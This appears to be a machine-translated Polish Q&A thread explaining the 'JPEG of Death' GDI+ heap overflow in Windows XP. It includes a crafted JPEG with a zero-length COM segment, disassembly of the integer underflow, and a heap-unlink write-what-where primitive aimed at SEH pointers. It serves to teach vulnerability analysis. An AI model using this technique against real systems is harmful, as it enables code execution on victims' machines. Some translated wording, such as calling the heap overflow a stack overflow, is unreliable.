Jak działa luka JPEG of Death?

94

Czytałem o starszym exploicie przeciwko GDI + w Windows XP i Windows Server 2003 o nazwie JPEG of death dla projektu, nad którym pracuję.

Exploit jest dobrze wyjaśniony w poniższym linku: http://www.infosecwriters.com/text_resources/pdf/JPEG.pdf

Zasadniczo plik JPEG zawiera sekcję o nazwie COM zawierającą (prawdopodobnie puste) pole komentarza i dwubajtową wartość zawierającą rozmiar COM. Jeśli nie ma komentarzy, rozmiar wynosi 2. Czytnik (GDI +) odczytuje rozmiar, odejmuje dwa i przydziela bufor o odpowiednim rozmiarze, aby skopiować komentarze w stercie. Atak polega na umieszczeniu wartości 0w polu. GDI + odejmuje 2, co prowadzi do wartości, -2 (0xFFFe)która jest konwertowana na liczbę całkowitą bez znaku 0XFFFFFFFEprzez memcpy.

Przykładowy kod:

unsigned int size;
size = len - 2;
char *comment = (char *)malloc(size + 1);
memcpy(comment, src, size);

Zwróć uwagę, że malloc(0)w trzeciej linii powinien zwrócić wskaźnik do nieprzydzielonej pamięci na stercie. Jak zapisywanie 0XFFFFFFFEbajtów ( 4GB!!!!) nie może spowodować awarii programu? Czy to pisze poza obszarem sterty i do przestrzeni innych programów i systemu operacyjnego? Co się wtedy stanie?

Jak rozumiem memcpy, po prostu kopiuje nznaki z miejsca docelowego do źródła. W takim przypadku źródło powinno znajdować się na stosie, miejsce docelowe na stercie i njest 4GB.

Rafa
źródło
malloc przydzieli pamięć ze sterty. Myślę, że exploit został wykonany przed memcpy i po przydzieleniu pamięci
iedoc,
tak na marginesie: to nie memcpy promuje wartość do liczby całkowitej bez znaku (4 bajty), ale raczej odejmowanie.
rev
1
Zaktualizowałem moją poprzednią odpowiedź przykładem na żywo. Rozmiar malloced to tylko 2 bajty, a nie 0xFFFFFFFE. Ten ogromny rozmiar jest używany tylko do rozmiaru kopii, a nie do rozmiaru alokacji.
Neitsa

Odpowiedzi:

96

Ta luka była zdecydowanie przepełnieniem stosu .

Jak zapisanie bajtów 0XFFFFFFFE (4 GB !!!!) może nie spowodować awarii programu?

Prawdopodobnie tak będzie, ale w niektórych przypadkach masz czas na wykorzystanie przed awarią (czasami możesz przywrócić program do jego normalnego działania i uniknąć awarii).

Po uruchomieniu memcpy () kopia nadpisze albo inne bloki sterty, albo niektóre części struktury zarządzania stertą (np. Lista wolnych, zajętych itp.).

W pewnym momencie kopia napotka nieprzydzieloną stronę i wywoła AV (naruszenie dostępu) podczas zapisu. GDI + spróbuje następnie przydzielić nowy blok w stercie (zobacz ntdll! RtlAllocateHeap ) ... ale struktury sterty są teraz pomieszane.

W tym momencie, starannie tworząc obraz JPEG, możesz nadpisać struktury zarządzania stertą kontrolowanymi danymi. Kiedy system próbuje przydzielić nowy blok, prawdopodobnie odłączy (wolny) blok od listy wolnych.

Blokami zarządza się (w szczególności) za pomocą wskaźników flink (łącze do przodu; następny blok na liście) i blink (łącze do tyłu; poprzedni blok na liście). Jeśli kontrolujesz zarówno miganie, jak i miganie, możesz mieć możliwy WRITE4 (warunek zapisu Co / Gdzie), w którym kontrolujesz, co możesz pisać i gdzie możesz pisać.

W tym momencie można nadpisać wskaźnik funkcji (wskaźniki SEH [Structured Exception Handlers] były celem z wyboru w tamtym czasie w 2004 roku) i uzyskać wykonanie kodu.

Zobacz wpis na blogu Korupcja stosu: studium przypadku .

Uwaga: chociaż pisałem o eksploatacji przy użyciu listy swobodnej, osoba atakująca może wybrać inną ścieżkę, używając innych metadanych sterty („metadane sterty” to struktury używane przez system do zarządzania stertą; flink i blink są częścią metadanych sterty), ale eksploitacja przez odłączenie jest prawdopodobnie „najłatwiejsza”. Wyszukiwanie w Google hasła „eksploatacja sterty” zwróci wiele badań na ten temat.

Czy to zapisuje poza obszarem sterty i do przestrzeni innych programów i systemu operacyjnego?

Nigdy. Nowoczesne systemy operacyjne są oparte na koncepcji wirtualnej przestrzeni adresowej, więc każdy proces ma własną wirtualną przestrzeń adresową, która umożliwia zaadresowanie do 4 gigabajtów pamięci w systemie 32-bitowym (w praktyce tylko połowa z nich jest w obszarze użytkownika, reszta dotyczy jądra).

Krótko mówiąc, proces nie może uzyskać dostępu do pamięci innego procesu (z wyjątkiem sytuacji, gdy prosi jądro o to przez jakąś usługę / API, ale jądro sprawdzi, czy wywołujący ma do tego prawo).


Postanowiłem przetestować tę lukę w ten weekend, abyśmy mogli uzyskać dobry pogląd na to, co się dzieje, zamiast czystych spekulacji. Luka ma teraz 10 lat, więc pomyślałem, że mogę o niej napisać, chociaż nie wyjaśniłem części dotyczącej wykorzystania w tej odpowiedzi.

Planowanie

Najtrudniejszym zadaniem było znalezienie Windowsa XP z samym SP1, tak jak to było w 2004 roku :)

Następnie pobrałem obraz JPEG składający się tylko z jednego piksela, jak pokazano poniżej (przycięty dla zwięzłości):

File 1x1_pixel.JPG
Address   Hex dump                                         ASCII
00000000  FF D8 FF E0|00 10 4A 46|49 46 00 01|01 01 00 60| ÿØÿà JFIF  `
00000010  00 60 00 00|FF E1 00 16|45 78 69 66|00 00 49 49|  `  ÿá Exif  II
00000020  2A 00 08 00|00 00 00 00|00 00 00 00|FF DB 00 43| *          ÿÛ C
[...]

Obraz JPEG składa się ze znaczników binarnych (które wprowadzają segmenty). Na powyższym obrazku FF D8znajduje się marker SOI (Start Of Image), podczas gdy FF E0na przykład jest to marker aplikacji.

Pierwszy parametr w segmencie znacznika (z wyjątkiem niektórych znaczników, takich jak SOI) jest dwubajtowym parametrem długości, który koduje liczbę bajtów w segmencie znacznika, łącznie z parametrem długości i wyłączając znacznik dwubajtowy.

Po prostu dodałem znacznik COM (0x FFFE) zaraz po SOI, ponieważ znaczniki nie mają ścisłej kolejności.

File 1x1_pixel_comment_mod1.JPG
Address   Hex dump                                         ASCII
00000000  FF D8 FF FE|00 00 30 30|30 30 30 30|30 31 30 30| ÿØÿþ  0000000100
00000010  30 32 30 30|30 33 30 30|30 34 30 30|30 35 30 30| 0200030004000500
00000020  30 36 30 30|30 37 30 30|30 38 30 30|30 39 30 30| 0600070008000900
00000030  30 61 30 30|30 62 30 30|30 63 30 30|30 64 30 30| 0a000b000c000d00
[...]

Długość segmentu COM jest ustawiona 00 00na wyzwalanie luki. Dodałem również bajty 0xFFFC tuż za znacznikiem COM z powtarzającym się wzorcem, 4-bajtową liczbą w zapisie szesnastkowym, co przyda się podczas "wykorzystywania" luki.

Debugowanie

Dwukrotne kliknięcie obrazu natychmiast wyzwoli błąd w powłoce systemu Windows (aka „explorer.exe”), gdzieś w gdiplus.dll, w funkcji o nazwie GpJpegDecoder::read_jpeg_marker().

Ta funkcja jest wywoływana dla każdego znacznika na rysunku, po prostu: odczytuje rozmiar segmentu znacznika, przydziela bufor, którego długość jest wielkością segmentu i kopiuje zawartość segmentu do tego nowo przydzielonego bufora.

Tutaj początek funkcji:

.text:70E199D5  mov     ebx, [ebp+arg_0] ; ebx = *this (GpJpegDecoder instance)
.text:70E199D8  push    esi
.text:70E199D9  mov     esi, [ebx+18h]
.text:70E199DC  mov     eax, [esi]      ; eax = pointer to segment size
.text:70E199DE  push    edi
.text:70E199DF  mov     edi, [esi+4]    ; edi = bytes left to process in the image

eaxregister wskazuje na rozmiar segmentu i edijest liczbą bajtów pozostałych w obrazie.

Następnie kod przechodzi do odczytu rozmiaru segmentu, zaczynając od najbardziej znaczącego bajtu (długość to wartość 16-bitowa):

.text:70E199F7  xor     ecx, ecx        ; segment_size = 0
.text:70E199F9  mov     ch, [eax]       ; get most significant byte from size --> CH == 00
.text:70E199FB  dec     edi             ; bytes_to_process --
.text:70E199FC  inc     eax             ; pointer++
.text:70E199FD  test    edi, edi
.text:70E199FF  mov     [ebp+arg_0], ecx ; save segment_size

I najmniej znaczący bajt:

.text:70E19A15  movzx   cx, byte ptr [eax] ; get least significant byte from size --> CX == 0
.text:70E19A19  add     [ebp+arg_0], ecx   ; save segment_size
.text:70E19A1C  mov     ecx, [ebp+lpMem]
.text:70E19A1F  inc     eax             ; pointer ++
.text:70E19A20  mov     [esi], eax
.text:70E19A22  mov     eax, [ebp+arg_0] ; eax = segment_size

Po wykonaniu tej czynności rozmiar segmentu jest używany do przydzielania bufora, zgodnie z poniższym obliczeniem:

przydziel_rozmiar = rozmiar_segmentu + 2

Odbywa się to za pomocą poniższego kodu:

.text:70E19A29  movzx   esi, word ptr [ebp+arg_0] ; esi = segment size (cast from 16-bit to 32-bit)
.text:70E19A2D  add     eax, 2 
.text:70E19A30  mov     [ecx], ax 
.text:70E19A33  lea     eax, [esi+2] ; alloc_size = segment_size + 2
.text:70E19A36  push    eax             ; dwBytes
.text:70E19A37  call    _GpMalloc@4     ; GpMalloc(x)

W naszym przypadku, ponieważ rozmiar segmentu wynosi 0, rozmiar przydzielony dla bufora wynosi 2 bajty .

Luka jest zaraz po alokacji:

.text:70E19A37  call    _GpMalloc@4     ; GpMalloc(x)
.text:70E19A3C  test    eax, eax
.text:70E19A3E  mov     [ebp+lpMem], eax ; save pointer to allocation
.text:70E19A41  jz      loc_70E19AF1
.text:70E19A47  mov     cx, [ebp+arg_4]   ; low marker byte (0xFE)
.text:70E19A4B  mov     [eax], cx         ; save in alloc (offset 0)
;[...]
.text:70E19A52  lea     edx, [esi-2]      ; edx = segment_size - 2 = 0 - 2 = 0xFFFFFFFE!!!
;[...]
.text:70E19A61  mov     [ebp+arg_0], edx

Kod po prostu odejmuje rozmiar segment_size (długość segmentu jest wartością 2 bajtów) od całego rozmiaru segmentu (w naszym przypadku 0) i kończy się niedopełnieniem całkowitoliczbowym: 0 - 2 = 0xFFFFFFFE

Następnie kod sprawdza, czy w obrazie zostały jeszcze bajty do przeanalizowania (co jest prawdą), a następnie przeskakuje do kopii:

.text:70E19A69  mov     ecx, [eax+4]  ; ecx = bytes left to parse (0x133)
.text:70E19A6C  cmp     ecx, edx      ; edx = 0xFFFFFFFE
.text:70E19A6E  jg      short loc_70E19AB4 ; take jump to copy
;[...]
.text:70E19AB4  mov     eax, [ebx+18h]
.text:70E19AB7  mov     esi, [eax]      ; esi = source = points to segment content ("0000000100020003...")
.text:70E19AB9  mov     edi, dword ptr [ebp+arg_4] ; edi = destination buffer
.text:70E19ABC  mov     ecx, edx        ; ecx = copy size = segment content size = 0xFFFFFFFE
.text:70E19ABE  mov     eax, ecx
.text:70E19AC0  shr     ecx, 2          ; size / 4
.text:70E19AC3  rep movsd               ; copy segment content by 32-bit chunks

Powyższy fragment kodu pokazuje, że rozmiar kopii to 32-bitowe fragmenty 0xFFFFFFFE. Bufor źródłowy jest kontrolowany (zawartość obrazu), a celem jest bufor na stercie.

Warunek zapisu

Kopia wyzwoli wyjątek naruszenia dostępu (AV), gdy osiągnie koniec strony pamięci (może to być ze wskaźnika źródła lub wskaźnika docelowego). Po wyzwoleniu AV sterta jest już w stanie zagrożenia, ponieważ kopia nadpisała już wszystkie kolejne bloki sterty do momentu napotkania strony niemapowanej.

To, co czyni ten błąd możliwym do wykorzystania, to fakt, że 3 SEH (Structured Exception Handler; to jest try / z wyjątkiem na niskim poziomie) przechwytuje wyjątki w tej części kodu. Dokładniej, pierwszy SEH rozwinie stos, aby wrócił do analizy kolejnego znacznika JPEG, całkowicie pomijając w ten sposób znacznik, który wywołał wyjątek.

Bez SEH kod po prostu zawiesiłby cały program. Zatem kod pomija segment COM i analizuje inny segment. Wracamy więc do GpJpegDecoder::read_jpeg_marker()nowego segmentu i kiedy kod przydzieli nowy bufor:

.text:70E19A33  lea     eax, [esi+2] ; alloc_size = semgent_size + 2
.text:70E19A36  push    eax             ; dwBytes
.text:70E19A37  call    _GpMalloc@4     ; GpMalloc(x)

System odłączy blok z bezpłatnej listy. Zdarza się, że struktury metadanych zostały nadpisane treścią obrazu; więc kontrolujemy odłączanie za pomocą kontrolowanych metadanych. Poniższy kod jest gdzieś w systemie (ntdll) w menedżerze sterty:

CPU Disasm
Address   Command                                  Comments
77F52CBF  MOV ECX,DWORD PTR DS:[EAX]               ; eax points to '0003' ; ecx = 0x33303030
77F52CC1  MOV DWORD PTR SS:[EBP-0B0],ECX           ; save ecx
77F52CC7  MOV EAX,DWORD PTR DS:[EAX+4]             ; [eax+4] points to '0004' ; eax = 0x34303030
77F52CCA  MOV DWORD PTR SS:[EBP-0B4],EAX
77F52CD0  MOV DWORD PTR DS:[EAX],ECX               ; write 0x33303030 to 0x34303030!!!

Teraz możemy pisać, co chcemy, gdzie chcemy ...

Neitsa
źródło
3

Ponieważ nie znam kodu z GDI, to co poniżej to tylko spekulacje.

Cóż, jedna rzecz, która przychodzi na myśl, to zachowanie, które zauważyłem w niektórych systemach operacyjnych (nie wiem, czy Windows XP to miał), polegało na przydzielaniu przy użyciu nowego / malloc, możesz faktycznie przydzielić więcej niż pamięć RAM nie piszesz do tego wspomnienia.

W rzeczywistości jest to zachowanie jądra Linuksa.

Z www.kernel.org:

Strony w liniowej przestrzeni adresowej procesu niekoniecznie znajdują się w pamięci. Na przykład alokacje dokonane w imieniu procesu nie są realizowane natychmiast, ponieważ miejsce jest po prostu zarezerwowane w ramach vm_area_struct.

Aby dostać się do pamięci rezydentnej, musi zostać wywołany błąd strony.

Zasadniczo musisz zabrudzić pamięć, zanim zostanie ona faktycznie przydzielona w systemie:

  unsigned int size=-1;
  char* comment = new char[size];

Czasami faktycznie nie da to rzeczywistej alokacji w pamięci RAM (twój program nadal nie będzie używał 4 GB). Wiem, że widziałem to zachowanie w systemie Linux, ale nie mogę go teraz odtworzyć w instalacji systemu Windows 7.

Począwszy od tego zachowania, możliwy jest następujący scenariusz.

Aby ta pamięć istniała w RAM, musisz ją zabrudzić (w zasadzie memset lub jakiś inny zapis do niej):

  memset(comment, 0, size);

Jednak luka wykorzystuje przepełnienie bufora, a nie błąd alokacji.

Innymi słowy, gdybym miał to:

 unsinged int size =- 1;
 char* p = new char[size]; // Will not crash here
 memcpy(p, some_buffer, size);

Doprowadzi to do zapisu po buforze, ponieważ nie ma czegoś takiego jak segment 4 GB pamięci ciągłej.

Nie umieściłeś niczego w p, aby zabrudzić całe 4 GB pamięci, i nie wiem, czy memcpypowoduje to zabrudzenie pamięci od razu, czy tylko strona po stronie (myślę, że to strona po stronie).

Ostatecznie zakończy się nadpisaniem ramki stosu (przepełnienie buforu stosu).

Inną bardziej prawdopodobną luką było to, że obraz był przechowywany w pamięci jako tablica bajtów (wczytywano cały plik do bufora), a rozmiar komentarzy był używany tylko do pominięcia nieistotnych informacji.

Na przykład

     unsigned int commentsSize = -1;
     char* wholePictureBytes; // Has size of file
     ...
     // Time to start processing the output color
     char* p = wholePictureButes;
     offset = (short) p[COM_OFFSET];
     char* dataP = p + offset;
     dataP[0] = EvilHackerValue; // Vulnerability here

Jak wspomniałeś, jeśli GDI nie przydzieli tego rozmiaru, program nigdy się nie zawiesi.

MichaelCMS
źródło
4
Może tak być w przypadku systemu 64-bitowego, w którym 4 GB to nic wielkiego (mówiąc o przestrzeni na dodatki). Ale w systemie 32-bitowym (wydają się też być podatne na ataki) nie można zarezerwować 4 GB przestrzeni adresowej, ponieważ to wszystko! Więc na malloc(-1U)pewno zawiedzie, wróci NULLi memcpy()ulegnie awarii.
rodrigo
9
Nie sądzę, żeby ta linia była prawdziwa: „W końcu zakończy się zapisem na inny adres procesu”. Zwykle jeden proces nie może uzyskać dostępu do pamięci innego. Zobacz korzyści MMU .
chue x
@MMU Korzyści tak, masz rację. Miałem powiedzieć, że przekroczy normalne granice stosu i zacznie nadpisywać ramkę stosu. Zmienię odpowiedź, dzięki za wskazanie jej.
MichaelCMS